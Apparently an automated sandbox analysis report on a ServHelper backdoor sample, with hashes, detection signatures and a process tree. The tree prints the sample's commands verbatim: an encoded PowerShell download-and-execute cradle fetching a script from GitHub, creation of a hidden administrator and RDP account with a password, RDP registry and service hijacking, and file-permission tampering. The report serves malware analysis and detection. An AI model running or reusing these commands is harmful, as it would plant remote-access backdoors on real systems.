Analysis

  • max time kernel
    138s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    19-08-2021 15:14

General

  • Target

    87dd0632a95ca24443f8c6363bc055e6.exe

  • Size

    5.9MB

  • MD5

    87dd0632a95ca24443f8c6363bc055e6

  • SHA1

    423785b67d20f4f5056ff6d9e34fda3c72a03bd4

  • SHA256

    266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce

  • SHA512

    c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe
    "C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1012
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzjs31uw\zzjs31uw.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:548
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB358.tmp" "c:\Users\Admin\AppData\Local\Temp\zzjs31uw\CSC6D06B0D9C4F74936A1746A3A2BE5C67C.TMP"
          4⤵
            PID:940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1168
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1516
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:904
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:644
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1604
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:824
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:364
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:960
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1376
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1628
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1664
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1424
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2008
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1076
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:108
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1988
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1316
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:536
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1516
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:904
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1364
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1728
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1776
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1768
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1796
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1568
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc z0vs4iUt /add
                                  1⤵
                                    PID:1724
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc z0vs4iUt /add
                                      2⤵
                                        PID:668
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc z0vs4iUt /add
                                          3⤵
                                            PID:2008
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1988
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1964
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1076
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:304
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1672
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:740
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1168
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1724
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:2044
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc z0vs4iUt
                                                          1⤵
                                                            PID:964
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc z0vs4iUt
                                                              2⤵
                                                                PID:1988
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc z0vs4iUt
                                                                  3⤵
                                                                    PID:2032
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1768
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1796
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1424
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1568
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1636
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:2008
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1752

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1012-70-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-68-0x0000000002540000-0x0000000002541000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-75-0x000000001B9B0000-0x000000001B9B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-69-0x000000001AD10000-0x000000001AD11000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-67-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1012-102-0x000000001AC9A000-0x000000001ACB9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1012-86-0x000000001C4A0000-0x000000001C4A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-83-0x00000000025B0000-0x00000000025B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-71-0x000000001AC90000-0x000000001AC92000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1012-72-0x000000001AC94000-0x000000001AC96000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1012-85-0x000000001C420000-0x000000001C421000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-73-0x0000000002400000-0x0000000002401000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-158-0x000000001C780000-0x000000001C781000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-87-0x00000000027E0000-0x00000000027E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1168-151-0x000000001AB14000-0x000000001AB16000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1168-150-0x000000001AB10000-0x000000001AB12000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1684-65-0x00000000286B7000-0x00000000286B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1684-60-0x0000000041850000-0x0000000041C70000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1684-62-0x00000000286B2000-0x00000000286B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1684-64-0x00000000286B6000-0x00000000286B7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1684-63-0x00000000286B4000-0x00000000286B6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1752-206-0x0000000019464000-0x0000000019466000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1752-205-0x0000000019460000-0x0000000019462000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1752-236-0x000000001946A000-0x0000000019489000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1788-132-0x000000001AB00000-0x000000001AB01000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1788-127-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1788-128-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1788-130-0x0000000002670000-0x0000000002671000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1788-134-0x000000001A950000-0x000000001A951000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1788-135-0x00000000025B0000-0x00000000025B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-107-0x000000001B680000-0x000000001B681000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-120-0x000000001B590000-0x000000001B591000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-95-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1896-94-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1896-98-0x000000001B750000-0x000000001B751000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-101-0x0000000002630000-0x0000000002631000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-96-0x0000000002780000-0x0000000002781000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-121-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-100-0x000000001AB70000-0x000000001AB71000-memory.dmp

                                                                        Filesize

                                                                        4KB